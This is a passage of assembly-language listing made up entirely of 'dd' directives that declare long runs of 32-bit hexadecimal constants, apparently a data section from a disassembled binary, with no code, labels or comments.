		dd 0BF5E00E0h, 0FFB269A6h, 0D8175055h, 2B52227Bh, 13345859h
		dd 0DC709EA8h, 9D06BFh,	9373D295h, 0C4BB340Eh, 90021A4Bh
		dd 7A22CA3Ch, 84971240h, 0FCBCB0D7h, 92814200h,	66C9E49Bh
		dd 8C5400E6h, 0D26A45F8h, 3C98C2E7h, 33F6248h, 0BE012B9Dh
		dd 0BAB5B877h, 0B348132Dh, 0DB90049Ch, 4EE0B0E2h, 0B986E8B6h
		dd 69C09Fh, 0F943EC1Bh,	7796A10Ch, 735D4500h, 0B8B41CF0h
		dd 0BDA60195h, 28D53E2Fh, 968DD020h, 0FB294600h, 4F9CEBDDh
		dd 8E7C010Dh, 4AAA3C2Bh, 0EDAFFC7Ah, 7D27D17Bh,	18E4ACh
		dd 3E0566A1h, 0ED141FBFh, 1870F048h, 9DA844F2h,	0EA8C88ACh
		dd 5F903954h, 279EA402h, 40B81CF4h, 122AD558h, 0B03DC0BEh
		dd 43138AC0h, 38C0C2ACh, 142A2194h, 98818B12h, 0ABF93B00h
		dd 0F2FC2F97h, 2EB18A03h, 90326E8Eh, 0F655F1h, 0E9C8103Fh
		dd 98880B4Ah, 2213957Eh, 0DC077053h, 54824C6h, 404862E9h
		dd 0D5A72ED4h, 5D4A97A2h, 0A11ADC00h, 31E8184h,	51168327h
		dd 12989AEBh, 0E127EC99h, 0C0B44C58h, 2C54849h,	56004FE7h
		dd 0E92CB427h, 9601BAh,	66DC439Ah, 0BFF9B20Dh, 8ED67A3Eh
		dd 0C0DDDF26h, 5C46A08Fh, 4FA9Ah, 0EE51A711h, 8983064Ah
		dd 9543DC00h, 3370EB66h, 303C13D7h, 0D5A8438Bh,	0A4E105D6h
		dd 0C010DDE1h, 490965Bh, 0BFC77600h, 743AEB4Dh,	0A47E5C1Ch
		dd 0C809789h, 78CC2BF5h, 12C7C300h, 0F7A3BD0Eh,	0B3990525h
		dd 5651FCA8h, 42631294h, 750AAF8Ch, 0CB798075h,	0E45E5BE3h
		dd 0C0D700F4h, 98318BADh, 0C3EDBA55h, 0B5EF4EC0h, 585C009Dh
		dd 486FF716h, 0EC125234h, 63B80111h, 2E3E6115h,	3A35BC44h
		dd 9C837200h, 0E9002EFBh, 2CEA985h, 0F1936Ch, 7CCAF381h
		dd 0B413342Bh, 0DE647D00h, 0A6E541D1h, 0B109E58h, 5A070CE9h
		dd 66F702h, 0F8253296h,	0D711CE00h, 0BDF13BAAh,	0E04BEAA1h
		dd 3EFDF2EBh, 2700A6BEh, 5F4E2395h, 51EC1CC7h, 666BFC0Fh
		dd 40ED00DAh, 0B45956h,	293D768Bh, 0A2E4D714h, 0F4D85302h
		dd 705A5CF2h, 1E8C00A4h, 6C79ED20h, 6D3C7351h, 0A2720021h
		dd 810DBA3Ah, 8D370065h, 0ABC8DC5Fh, 0D677CD40h, 58A78800h
		dd 5B8925Ch, 0E48B078Eh, 2045A4D1h, 658AE50Eh, 8EF99338h
		dd 2031D428h, 69481DF0h, 0BF6400B8h, 0C63846A4h, 7A0005EAh
		dd 0B2CB5B03h, 0F4489E99h, 0D40812D6h, 3890BD59h, 9A0077DCh
		dd 0B79C574Bh, 8DE6A7Bh, 5AF5DFF6h, 5CFED584h, 3B52D040h
		dd 4A74D6EDh, 1612FBB0h, 14401558h, 0DF3A2F96h,	9F7B0E17h
		dd 618027DEh, 655D93FFh, 0EB0F3Dh, 0D291E50Ch, 0FF5D654h
		dd 0C0F18BACh, 0D02AEC80h, 55F868D4h, 8265000h,	5BB6ED4Fh
		dd 584807B5h, 80B9CEE5h, 61A0C141h, 81EB1238h, 0DCB52AACh
		dd 909D5AFAh, 4FD58F06h, 0DE3E3E9Eh, 52A36450h,	0DB807027h
		dd 2A85B56h, 6FE3B526h,	0AEED023Ah, 581D9374h, 0B6570C0Ch
		dd 9AE91795h, 0F33BAB79h, 522687FAh, 4C103B11h,	0F52A79h
		dd 9275492Dh, 0FA5C1725h, 0B4F45700h, 8CE326A0h, 0B2ECADh
		dd 7C09663Dh, 0BEC56713h, 0D8F63A02h, 482A2F17h, 3D4F20h
		dd 55C0B797h, 0AC6498E2h, 1227DC05h, 1E803336h,	22A6CA9h
		dd 0B98E65B6h, 85409020h, 8360C1E8h, 0D479F6A8h, 0C4F4003Fh
		dd 62D69817h, 0E148519Ch, 12AC1E2Ah, 7507E4E6h,	98478499h
		dd 93595453h, 0C4928094h, 0A9ED07E9h, 3010936Bh, 0BB7B28Dh
		dd 0AE9C2454h, 0D558DC0Fh, 0EFBC003Fh, 3317962h, 0DA2E7B0h
		dd 8013AF32h, 7D02F310h, 449E2735h, 0F8A80024h,	0F19746Fh
		dd 943C7BF1h, 0BED300B3h, 87097FB6h, 22260024h,	53D419C0h
		dd 0E8F3860Ch, 6800ACB1h, 0A76A3F93h, 2A235810h, 6CC22DAh
		dd 7DECD477h, 420011B5h, 96CFDBF2h, 3E73D2Dh, 7DEAC120h
		dd 20005892h, 3FD24505h, 6183A9h, 6A0C63D8h, 7D3D9E40h
		dd 0DE22E400h, 25BDC38Fh, 0BCCB0EECh, 1380E989h, 65E49E48h
		dd 27745713h, 78639400h, 1F68041Bh, 0F596021h, 0A08E4E43h
		dd 775A62A1h, 0E005F17Ah, 630FB03h, 7D0A1064h, 991E0312h
		dd 4054E768h, 5D6E1DC8h, 522B6700h, 63EBDC04h, 709E265Eh
		dd 0E474032Fh, 53BF3453h, 4C1334Eh, 3074D34Dh, 20DE0A1Fh
		dd 0EB005C1Dh, 7E6302F0h, 6B29054Ah, 24285075h,	0EF047A64h
		dd 0E203E583h, 3F80100Ch, 398318CAh, 0C400A09Ch, 523A26B8h
		dd 0D800101Ch, 88A70116h, 1EC01B38h, 80E78772h,	12D20AFEh
		dd 0C739A4E5h, 0C49099AFh, 0EED09B48h, 590D6382h, 90BF2C09h
		dd 251F70BBh, 22748370h, 0C7211560h, 358255h, 0EA8FC9C1h
		dd 0E9C31345h, 0D88B390Fh, 0B4185E7Dh, 1422970h, 0AFEF86CCh
		dd 0E214ECDFh, 4838F1E3h, 0E358175Bh, 0CE297020h, 6A0F280h
		dd 8C0E7D4h, 0D06108C4h, 80A2E321h, 48ACF0h, 821A6EE2h
		dd 394B9347h, 8962C402h, 0A2C0C3D0h, 0E0901C98h, 0CCBD444Eh
		dd 0B4F93DF0h, 0B9FD21C0h, 67B54Dh, 245D1784h, 2D3EC2F4h
		dd 0ABE9DF01h, 1F137C22h, 47851082h, 34842B5Ch,	4DE760D7h
		dd 3544232Eh, 0FE33B111h, 70839788h, 8719D179h,	4120BB7Fh
		dd 54188FD0h, 0EBF4C7h,	62C93A56h, 4904454Fh, 3046FF3Ah
		dd 0F00521EFh, 87643E3Bh
		dd 14015F83h, 0BA37FE4Dh, 3AB0712Dh, 708D41h, 0AA0633DEh
		dd 2B49A315h, 6FEB5B00h, 7A465F86h, 3DF12B1h, 0F30022CAh
		dd 0EDDC2F31h, 222846BBh, 50D2001Ah, 904FB182h,	6605F2Dh
		dd 478D3819h, 5C94A1D6h, 3033F042h, 5D0880C9h, 64E06CA0h
		dd 0D1E640D6h, 6CA2380h, 7D2CF9E1h, 0C9025904h,	1B03D361h
		dd 6284A0E0h, 0F30C8B78h, 0F1F1C449h, 47864440h, 0E23603F6h
		dd 7AC92BC5h, 0F2EFC1BFh, 0B94420E7h, 0A7D4718h, 74296220h
		dd 4FBC0A9Eh, 0EF83FCFh, 0C9BB8F8Dh, 403835E0h,	978EBB00h
		dd 0AF70F5Bh, 787547h, 88C014A6h, 9661F7Dh, 0E9016C91h
		dd 0DCEC2EC4h, 468420A0h, 80047359h, 0E7FCA1F3h, 48202232h
		dd 34F80D3h, 941FD713h,	45E06167h, 17638AF4h, 9A9D03A0h
		dd 0CA0B019Eh, 0C8E04B65h, 0B238C011h, 8D3C33A2h, 411F0285h
		dd 91F1C46Ah, 0E7DC2D24h, 227846BBh, 56C40014h,	76DC2182h
		dd 4490D3EEh, 0E8F32845h, 0ED9DC4h, 0DE73E078h,	40637B44h
		dd 0E99C9454h, 0B327E90h, 625DC842h, 3E78484Ah,	5C24A09Eh
		dd 0CF971420h, 5400BC0Ah, 760DE859h, 394C451Fh,	0BD29607Eh
		dd 0A0159B7Ch, 7CBF6A90h, 0D4F94948h, 2C4D9180h, 787E544h
		dd 304DBAFCh, 98EBE871h, 39AC2F12h, 6703018h, 90455022h
		dd 281436Dh, 0BBEB8231h, 100E3158h, 825AC0h, 45025C65h
		dd 0E47F7671h, 0CCF42155h, 320FB6A0h, 8C2DB9ABh, 0CC619F8h
		dd 0A5DFA904h, 70BFCC48h, 5720048h, 0B8ED0CC0h,	3B371560h
		dd 0EBD03123h, 4E85B2Ch, 25442AC8h, 962CC2A0h, 0CC0C4032h
		dd 2C374D62h, 1C80F288h, 20013BF6h, 1F0F0287h, 0E2F7861h
		dd 82FE8081h, 622982C6h, 0CB092890h, 4953F12Ch,	0B5C8B44Bh
		dd 629BB7C0h, 0EB520AAEh, 8F9817DBh, 92A0F97Eh,	388BED50h
		dd 1247EF00h, 5D149ADh,	0A6310162h, 63395D7Dh, 455187C5h
		dd 0AF448ECCh, 4984DC92h, 0B430BCECh, 94468615h, 0D23A5902h
		dd 0F3314762h, 3BEF0610h, 161F600Ah, 9500B8EDh,	8F97BEC9h
		dd 3C5892D0h, 172CBFA0h, 0AFC10C74h, 590F6D91h,	40577166h
		dd 0F83DA886h, 7D3A03BCh, 2AC39092h, 402F2900h,	4D22EA69h
		dd 0F02300EFh, 7FAA67A3h, 97068355h, 0C41BB9B0h, 209B5891h
		dd 93BE8200h, 0E8446079h, 6FBB4205h, 4802D428h,	400C272Fh
		dd 32FE9F94h, 93F8DC46h, 83BF230h, 46EF62D5h, 0BE1662h
		dd 0B53A6C09h, 0A899E313h, 0ECB4B043h, 781895Bh, 0C9C77A10h
		dd 0B6B9F800h, 9D2E910Ah, 76DD1296h, 6240412Bh,	20AA2C40h
		dd 87047CF4h, 0AD3696Ah, 90EAA4C2h, 153A5B48h, 0C45762C8h
		dd 0B8ED88h, 2B133BF1h,	127F3DDh, 63DEABB2h, 3038BE4Eh
		dd 81436A7Ch, 0E2823002h, 83150BBh, 8259C310h, 0CD1DB800h
		dd 33F293Eh, 90617096h,	39410AF0h, 86D01745h, 3916A1AFh
		dd 9019182Ah, 0A9AB1D00h, 81769165h, 51C500C1h,	0BDEF39E4h
		dd 2000EEFAh, 0D20849AAh, 2437725Dh, 0F1025E6h,	3A935ACEh
		dd 82320h, 7670F95Fh, 0D906CDB2h, 1F1B4E23h, 68CC0091h
		dd 8511BD6Dh, 4B023038h, 47BB2767h, 5C844881h, 1C9480h
		dd 3CBF9A89h, 30028DCh,	0D9482A71h, 1FF5DADh, 721220D7h
		dd 34D3E5E9h, 71003F2Ch, 1509962h, 2B8E77h, 7BB2B34Fh
		dd 9A97B59Ch, 492C6317h, 0B523882Fh, 6F56380Eh,	0A10F60A5h
		dd 0A0B67797h, 484A9F94h, 0D9C07C31h, 0DB203D65h, 467AC103h
		dd 0FDE5E8h, 8426F1A1h,	8BAFD375h, 9E027CEEh, 83B137C2h
		dd 6910C248h, 1830F9C8h, 0FBE588FEh, 0A1E41C0h,	0A70481h
		dd 97B7B92Dh, 0EBE08C60h, 2E2B5E0Ah, 3E40D472h,	3E893h
		dd 38AA2490h, 0B95AAF33h, 0D2996018h, 0B7CF219h, 725C28E8h
		dd 0B02FE80Fh, 2E401583h, 83FE7113h, 0C4C23022h, 0ED323E3Ch
		dd 5426DC00h, 0BB78EF9Bh, 6B259207h, 0DAF0E661h, 186ACF3h
		dd 5BA2B96Ah, 48B8FFF1h, 0B3E1490h, 0EC0860BAh,	5F331C8h
		dd 4415B3FFh, 0BE3C0ADFh, 7A203118h, 0E1F8766Ah, 74309899h
		dd 8C3C527Bh, 40C46226h, 0C7FAF425h, 2047BF80h,	6212BBA1h
		dd 1060D489h, 232F4DECh, 0B2115D44h, 4D940100h,	0F9E27B7Eh
		dd 82C6CD3Bh, 64A9C160h, 812860A1h, 2481C013h, 0B63B57E6h
		dd 453E9500h, 0B4A2FA8Ch, 0C0A003F9h, 2CC39C2Dh, 0DBC75904h
		dd 3EC0D65Ah, 1F6CE525h, 401DB121h, 5C2B0C54h, 0AA98508Eh
		dd 8050B84Dh, 62CE3BF5h, 14208C67h, 6B0A03BEh, 0FB5B7E3Ah
		dd 94C66CEAh, 0B0343000h, 8F40C015h, 702B485Fh,	88489414h
		dd 1D8CB1BCh, 0B18088FEh, 0EC17D8F9h, 0BD3E2A4Fh, 191D30A6h
		dd 0E659F11h, 0C234900Eh, 0DAD6805Dh, 0F42B0329h, 447BF100h
		dd 0E070FA68h, 0BFB10420h, 0B39D338Fh, 30B7B26Ch, 0B3024CEFh
		dd 78986117h, 1C18C010h, 0E09F5C3Ch, 9963C5DCh,	0E8E0223Fh
		dd 2BA7FCE0h, 200D3D80h, 0E904E7A4h, 53A62D1Bh,	10E24CE3h
		dd 313CFF30h, 0AF812744h, 60C2DA4h, 9C7796D8h, 10AC5C78h
		dd 2B79E230h, 0F4F9936Bh, 604892F4h, 2AC04C08h,	7200F41Dh
		dd 85B66B30h, 2F01931h,	0FFB8E8B7h, 0CC98AB7Bh,	5F02A283h
		dd 0EADAE169h, 5B04697Dh, 2C5AC1h, 0F280D4C0h, 0F78CC4A1h
		dd 80D04910h, 0C55983Ah, 1920AA14h, 0D33501E9h,	5A424F75h
		dd 0C0A4435Eh, 0F2B4B2FCh, 0AA6D3022h, 0EE02EBE0h, 0B695E568h
		dd 0ED4C677h, 1E38BCD1h, 0B5018035h, 0C330F713h, 1127D8ECh
		dd 5EDFDE37h, 62A44500h, 14D1EFA8h, 5C6B7824h, 0BF14440Eh
		dd 0F4006CE3h, 1F4B9CF2h, 961C1D7Bh, 490762C1h,	17018906h
		dd 0F5C8F9C0h, 30FA6409h, 3C70C188h, 4A0438F2h,	0D023A42Fh
		dd 4769D200h, 90309E15h, 9223203Ch, 0B6CCA900h,	0DBDF2D3Dh
		dd 0F7E0306Eh, 0A808918h, 9FACE8A8h, 604CBD00h,	651C7C87h
		dd 8FACA0CFh, 58185913h, 3803D316h, 8841CB38h, 30A2AC42h
		dd 29124DE2h, 0F838ED44h, 4DEA3F03h, 39B91984h,	0E52CA49Fh
		dd 0B7801096h, 73538F0Fh, 2DDA001Eh, 9465A661h,	0B4019A3Eh
		dd 0E604A0BFh, 0D43209AFh, 0A714C908h, 2B1EECA6h, 8512C4E4h
		dd 1B41A002h, 0ECF4A018h, 73D1506h, 0CD70CBAAh,	0F0F4D053h
		dd 0D300DD38h, 0EAF39CF7h, 0B7D14ECh, 0E4546669h, 47E3A810h
		dd 3DA3AC01h, 8DE92912h, 0F4385025h, 0C08CD5BCh, 5DCE8542h
		dd 4B7D43F6h, 5E33302Eh, 3B63E800h, 94A6F42Fh, 9061E130h
		dd 0F280610Ch, 80E5E86Ah, 18BCF1C2h, 5E3D2A7Ah,	0E44897D9h
		dd 0D6313821h, 735F9E60h, 0ED7005E1h, 0AC2420Ch, 11F4E7E0h
		dd 4DEB80D3h, 0B1954432h, 3FAC474h, 0A0A26910h,	2A85B06Ah
		dd 0C4171Bh, 0F9EB77BDh, 2D94865Ch, 0DE3AB373h,	316101D4h
		dd 49FDCD04h, 45A83070h, 171063D3h, 42232B3h, 0EBFC903Bh
		dd 45B71C8h, 909C2E3Fh,	559CC880h, 0B875EA00h, 2A175032h
		dd 0AB54003Bh, 0BB1C0FC8h, 940466F1h, 26374A5Ah, 2468A0h
		dd 2A31B97Eh, 0B503E98Ah, 0A0446724h, 660FAB00h, 5883779Fh
		dd 0E4400816h, 97803047h, 5BACC320h, 14EA5Ch, 0F62E2463h
		dd 4DA7997Bh, 0E81620B4h, 10C43A5Fh, 5CDDBCEEh,	0D7D20063h
		dd 222447Ch, 9BECF573h,	0D470E36Ah, 0CC884191h,	10A5AF8Bh
		dd 208FB814h, 6C272C83h, 0E678A080h, 999B5Bh, 0BAA3B374h
		dd 6B6F50AAh, 3CB64D00h, 4FCDCEA9h, 7CBE480Fh, 0B8CCFF8h
		dd 0C365E690h, 0C4D5E849h, 3607DEF0h, 66741D6Ch, 0C4ACC6B0h
		dd 83D612B8h, 122C13A9h, 23342FAFh, 0DBF20019h,	1C064730h
		dd 2975238h, 5490AF71h
		dd 0F859F1h, 0C17C9E44h, 0B7C1543h, 1F0494A4h, 65800395h
		dd 0D0913D81h, 48704021h, 0BC69C1A8h, 3DC3B3FEh, 87F52CD4h
		dd 65B2E002h, 4F54464Bh, 186856AAh, 0BB7A1818h,	2DE86F13h
		dd 60A4D84Fh, 1BDFB122h, 94921Ch, 0BF777CD8h, 0CC9812A1h
		dd 0F2262502h, 604D01C1h, 24906300h, 1C440318h,	16C8ACFAh
		dd 8DE168Dh, 0EEC0D6C4h, 4644254Dh, 11B220Dh, 84D9607h
		dd 0D05299DCh, 638206Fh, 9F7C8B2Ah, 0B0240C02h,	5DF24028h
		dd 9EE9E709h, 43C46080h, 4D5BCCh, 2976ECBCh, 9F04404Ah
		dd 1A92AA8Fh, 55E658C0h, 0DC085888h, 2C792430h,	5A2A3E36h
		dd 6E4DF4AAh, 0EDCB8378h, 56D90125h, 0A4ABA585h, 8069802Eh
		dd 0AE254E84h, 0BD5103DCh, 1E7E39D1h, 925FCFF8h, 0B759F500h
		dd 0AA237B75h, 84B00F38h, 3ACF6B11h, 627F7241h,	0B656D0C9h
		dd 533FC200h, 4B3867F9h, 1FC47871h, 6E0BB7h, 9502F183h
		dd 4E00DDEEh, 109CB0D2h, 0B76FC13h, 0CD22B170h,	8B528880h
		dd 6A00F87Ah, 0B5E27B99h, 1FE51D4h, 248540D2h, 0DAF046E9h
		dd 1DE5A084h, 6AEEBC04h, 9CB3C484h, 90823207h, 322204BBh
		dd 5BA92017h, 6E4F5D82h, 7537B820h, 8B7DB9h, 8704069Fh
		dd 0C9082842h, 4F21D709h, 0D1548063h, 0B49EF4A8h, 2D5C2E28h
		dd 4037582Bh, 0C8B9AD80h, 24F62F97h, 40849D3Ch,	0C61F7CC5h
		dd 0A45368C2h, 71A4D14Bh, 2D318B2h, 0D809EDB5h,	0C6E16887h
		dd 755C78DCh, 161FAC12h, 81A54C09h, 0E836F484h,	41CB9A00h
		dd 7001B05Bh, 48BF66B4h, 0AEB8002Ch, 98BB0F8Ch,	0C3AA4387h
		dd 80551190h, 0A05780CFh, 22E0439Ch, 0D7E4012Dh, 6816FF80h
		dd 0BA92ECA3h, 0FBF63700h, 0F7077387h, 0B0C1310Ah, 0DC58D471h
		dd 4E006712h, 0D2AB2BC3h, 15BBBF6h, 39ED6286h, 6C94119Eh
		dd 8CB0BCFCh, 5F2D1113h, 84606C88h, 4FA4450Ah, 1B09A403h
		dd 3E3CA01Ah, 0E260114Ah, 62A60077h, 8DDE164h, 240B2A4Dh
		dd 6D48BEEFh, 5CA0608Ch, 0C3982EE3h, 80B4804Ch,	4486ABEAh
		dd 3ADD25F5h, 0B8219894h, 0E0952DCBh, 32800F91h, 0C35177D0h
		dd 9383590Eh, 0CC0BF6B1h, 0E11C497Eh, 55003869h, 56DE57F5h
		dd 9E6D35Ch, 0C0189501h, 0FECC4428h, 54059C22h,	2138A32Eh
		dd 12C149A8h, 0F95C595Ch, 178818D6h, 4E61401Bh,	620D864h
		dd 0E9F4BF2Bh, 18A46894h, 3084674h, 0FCB57133h,	38C590A7h
		dd 401B5A09h, 9BA593FCh, 953DDDF9h, 27DBB10h, 1ECAF407h
		dd 0AAA24092h, 538A4EFEh, 0EA840528h, 8988663h,	0BA386898h
		dd 1F51E01Bh, 5586AEh, 255097CDh, 0D3D79081h, 4596EA1Dh
		dd 588B4297h, 34BE1584h, 48E38609h, 145708h, 0A0A3AB49h
		dd 81E616EBh, 64671500h, 743A3B4Eh, 3C260760h, 809443C8h
		dd 0A82A3469h, 3989B4B1h, 0AF501044h, 921894A6h, 30082018h
		dd 0E2A08EA5h, 7C0F4931h, 8585D309h, 48CB4BDBh,	0D0C01BC8h
		dd 0A045929Ch, 9393CA0h, 0F709861h, 0C418548Bh,	0E27C9636h
		dd 8E1CF33Eh, 0EFA8DD0Eh, 50F94424h, 0C97F3580h, 69DCBEA5h
		dd 0F6424C5h, 0D28F8470h, 0D0584B00h, 1086399h,	864EDA7h
		dd 275090A0h, 0FC98FE18h, 1F884898h, 21CF208Ah,	5F87CA02h
		dd 0D2B177D1h, 46890BCCh, 58EA8547h, 64598429h,	118B579h
		dd 10486D00h, 97FB7717h, 78C561F7h, 2C6B7861h, 2FA03E88h
		dd 4010849Bh, 0EEE28CB2h, 227430h, 0D1B6A762h, 143480CAh
		dd 0D1FC4137h, 0D0F81089h, 0F9453031h, 63D2F6D8h, 47400094h
		dd 7729879h, 8A9342BEh,	8B9BC4C2h, 0C11AC8D8h, 0D83ABBCCh
		dd 384C8BA4h, 953B05D0h, 80809993h, 0EE8FA002h,	7F84A0AFh
		dd 3240671h, 2046E3B5h,	1E63C30Ch, 1C67E1E1h, 9216EEh
		dd 3A074519h, 94B656D6h, 0F465Eh, 0FB3A10EFh, 57B718Bh
		dd 1557E379h, 40FC2142h, 0D0A5EA8Fh, 0F208B2BDh, 0D30032B5h
		dd 81D7D3C2h, 56379B0Ch, 0F7C1501Ah, 0E60F2980h, 0B3CE4B5Fh
		dd 6A727C12h, 10202C82h, 0E62581FEh, 6444E7BDh,	0F1D763F2h
		dd 0C86120B9h, 51CC10DDh, 0D5810991h, 54D1AB2Ah, 0D6FF6901h
		dd 7E8B9D3Ah, 7601A54Ch, 615BCC19h, 25606934h, 0A1EC2018h
		dd 0CE76D0h, 52D6E237h,	519A5E02h, 79502BEAh, 0F78CF7CCh
		dd 46BBE9DCh, 480B2248h, 5F0FF8C6h, 0F1E11EA0h,	2CAD157Bh
		dd 8DBC0BFCh, 0C8C4E8h,	0B0E170E6h, 0DCBE01DEh,	0A300F3F8h
		dd 922BA4BBh, 25DDC835h, 0C8022504h, 345C6403h,	0D84E16D6h
		dd 430C878h, 290068F8h,	0B8D3A0CDh, 1F724922h, 0C46A7CBBh
		dd 0B2411560h, 20842FA8h, 936B2AE8h, 2E2B0060h,	5C33DA98h
		dd 9E00E879h, 19C5C33Fh, 9DB9FEC0h, 42D224A7h, 0B8456538h
		dd 5E6015E4h, 6701DD2Bh, 74E15D81h, 7C3387F9h, 12F37809h
		dd 0CE48D4AEh, 397BB04h, 0CC45B891h, 0BE2D35D4h, 0A1060810h
		dd 117DAF09h, 0A0621814h, 0E8064300h, 0FB80B3FCh, 5A942A00h
		dd 0FF3859CBh, 0C530B824h, 0D94639F8h, 5EC9E32Ch, 5100F381h
		dd 0D1F9BFE4h, 0A6550h,	0E959D63Bh, 178CC1FEh, 8229EE01h
		dd 2ADFDC30h, 1C9091F4h, 0C28A3C24h, 1B9BC6AFh,	4701CC64h
		dd 71F0D766h, 36E1055Ch, 0B8CBDC50h, 0A404487Dh, 0EE9ECC0Bh
		dd 47BB8080h, 0F8DE7388h, 0E4207A17h, 129425C9h, 0A2B92A8h
		dd 25CCA747h, 14625067h, 375918BEh, 48F05251h, 0A8481424h
		dd 0A81BCA6Ch, 0BD1C7D40h, 70517408h, 0C42A0A04h, 82C89ACCh
		dd 3B8996Ah, 5F8CCC82h,	0A4BBDCF8h, 0EE442458h,	4630B003h
		dd 3BF416B9h, 1CFF6F0Bh, 6E0B0030h, 70EF563Ah, 0BE0220F5h
		dd 2B33E612h, 784515Bh,	805D26AEh, 0F44431F2h, 385CCE4Ah
		dd 3F2C9844h, 0E973D8BCh, 806559A5h, 18BCEDE2h,	0D507C59Bh
		dd 49CE9F3Dh, 0E5E17281h, 54006479h, 0B2F68CE0h, 95070F8Eh
		dd 5C465F8Ah, 0F2B38FF1h, 9BD5E70h, 0BC55721Eh,	5EB0AAh
		dd 44801F08h, 8E000AD3h, 1AB48F52h, 605ACC41h, 77ECC8EBh
		dd 871672B3h, 0D400069Fh, 8A89BA84h, 21682447h,	0F07E1428h
		dd 342E1374h, 0E0A4A1B2h, 5E51E8B6h, 7E8830DCh,	0FC3470E3h
		dd 1F000498h, 0B9C01A73h, 633796E9h, 654348CFh,	6D4929F1h
		dd 0F68AC5Ch, 889674DBh, 0C2EE6081h, 0E221802Bh, 0E4C98FCDh
		dd 3CC7EECh, 0B7BF9ADCh, 0A0155884h, 0A4F2E5h, 255D41F9h
		dd 1F60208h, 9ED4C163h,	3A070B77h, 40BE3C08h, 0D8309702h
		dd 0AE09F0C5h, 0E9F9D8A0h, 0BB9D3E00h, 0C4D481C0h, 1EC6263h
		dd 0BCF12906h, 0DBC36003h, 796C2100h, 1CCA4FB5h, 4A9886h
		dd 0F0035855h, 2F604DC3h, 2ACE4A0Eh, 84ECC9E4h,	4BDDBB4h
		dd 459CFA0Eh, 80E83EE0h, 1B075628h, 0CE4230ECh,	15505F50h
		dd 8168963Bh, 5C32A2E9h, 0B4343EF1h, 1AAC00B8h,	0DA3A028Ch
		dd 77A4C33Eh, 5EDF2860h, 8B79E30Ah, 0F10A9415h,	0C5A53004h
		dd 60176488h, 2562EFF9h, 5C00B098h, 0B5CB8A66h,	0A423C981h
		dd 0CBE14F1h, 0A7CC3BF8h, 74996680h, 291B2F23h,	0CC258DCh
		dd 0C81D2ACDh, 58A59F08h, 168414BDh, 0AAE90114h, 0E7E47DCEh
		dd 44909828h, 3C092ECAh, 163D6DCh, 93418574h, 4A89D838h
		dd 68048029h, 7A0B5FA2h, 0CC9C2028h, 9F657E30h,	14919C17h
		dd 285D7581h, 24BC6043h, 0F826E42Ah, 7F5CB600h,	3AC83D5Bh
		dd 7DC262Fh, 40E34448h,	0FE641DBh, 60150910h, 94974266h
		dd 60BE1588h, 0A05B2313h, 1B508778h, 0D7094AA8h, 79246330h
		dd 181B79C8h, 1C1DFAC8h, 0B9202CDDh, 0AC0BE4CCh, 6C603B2Fh
		dd 9344F38Fh, 0F687137Ch
		dd 26E8A1A8h, 9A75E0B0h, 7710026h, 8496FDEh, 0AD2D0AF8h
		dd 0CCA4806Bh, 4D3779E2h, 310F0414h, 0D0275B89h, 63CB4059h
		dd 2E013322h, 0DBF4735h, 80702AD3h, 0B3BC3060h,	0CE2119D9h
		dd 0A692DC00h, 7EA20638h, 0F3180433h, 0C00347EDh, 7D25CB83h
		dd 2908E117h, 14D00002h, 97445441h, 68242080h, 2A002901h
		dd 61E57C02h, 44C1EC2h,	77B1A428h, 0B89CFD78h, 9AFD000Dh
		dd 6260A271h, 87127DE2h, 90421C83h, 0E2B78E5Fh,	62D0E7F4h
		dd 0D818BE15h, 0CC220AC4h, 9AC3A42h, 6A6360h, 5411A854h
		dd 5C80D280h, 169774A0h, 0D69F001Ch, 587CF780h,	6302ABD5h
		dd 544433FEh, 25C0581Fh, 0FCC99D39h, 2782DE5h, 8ED22AC1h
		dd 3BC8405Bh, 0B630BA7Dh, 0B1465CC0h, 4A15612h,	51D4B7Ch
		dd 0D82C421Bh, 0DB193E28h, 0FFCFED80h, 85453D70h, 81D85301h
		dd 0CB60A1F3h, 0B788404Bh, 0BA080CC0h, 252B75E3h, 64407F7Dh
		dd 74048B39h, 0B8474603h, 0EF1684A8h, 88708B5Ch, 0BA56C0D1h
		dd 9130D2Ch, 0CCE41BEAh, 0ABBF3C95h, 489E6180h,	546D0D40h
		dd 3951B000h, 0B9ECE205h, 62AA0B03h, 942EE8A8h,	2E5B6080h
		dd 2C0144CEh, 7F9803D4h, 15DD69BCh, 223B21E9h, 2B20CA4Ch
		dd 2B4085Ch, 0D83407E0h, 5071640Ah, 9A18AE71h, 6070F803h
		dd 5D491E3h, 22E3F91h, 9B58D109h, 7CF8349Dh, 0BB809F75h
		dd 27E72F97h, 79E1F8A2h, 58B29E04h, 873014E2h, 6F3C038Ah
		dd 0C7C3636Ch, 0AEB2A100h, 2336DC53h, 0ED99166Ah, 0C8588E03h
		dd 6278C018h, 0C009AD1h, 294B9E9Dh, 0F853F5Bh, 7FC767D2h
		dd 0D044277Eh, 9329C00h, 0C1A2A126h, 917B008Dh,	0A4BD3018h
		dd 2804505Eh, 2C806BD2h, 0CA9280E8h, 0C008C874h, 40FE3635h
		dd 231203E6h, 0FC0E750Bh, 40AD0B90h, 269F975Ch,	1834F708h
		dd 0EF1FE0AAh, 49C08270h, 88C84ACCh, 811A5E85h,	19A720h
		dd 32A84061h, 2B1914DCh, 0BD0E4C18h, 1824383Bh,	95270074h
		dd 104DB988h, 1EA2D84Dh, 600C0F2h, 6611BA1Fh, 275FCBh
		dd 0C523A9B7h, 69DDF0D2h, 80CB425Ah, 58C0F388h,	20FACBFh
		dd 76F54C2Fh, 0D0C541E2h, 18BCF3E2h, 0A28B6FBh,	982ABC73h
		dd 0FA0A9854h, 0BC094387h, 0B904D382h, 0A9FCD1C7h, 18B071B4h
		dd 725C00E4h, 0D5E64AF3h, 0C5000769h, 0BE808DE8h, 59AB8F98h
		dd 0CA0028B0h, 0F105FB74h, 595CC1BDh, 58DA00C5h, 0EA0C2AFFh
		dd 5E10C71Ch, 2C60C868h, 20BDB704h, 330D1E3Ah, 41C4BEFFh
		dd 18E83C7Fh, 0C4CF20h,	0C88F5B2Bh, 3142ED92h, 81105CE2h
		dd 0AD3FCA3Fh, 43218680h, 0B63B7883h, 2AC35800h, 8BAA2417h
		dd 4BECB0DAh, 0C94490A1h, 915CF0F6h, 0F9E41874h, 8E5A81h
		dd 18B37136h, 4D7F23B6h, 0AC6C500h, 5F84FE43h, 0B09D2414h
		dd 7694AE34h, 0A3001446h, 1C05A51Eh, 842598FAh,	0C4784552h
		dd 4D9760D1h, 4A1F030Eh, 0AEF583E9h, 6576C090h,	2B487201h
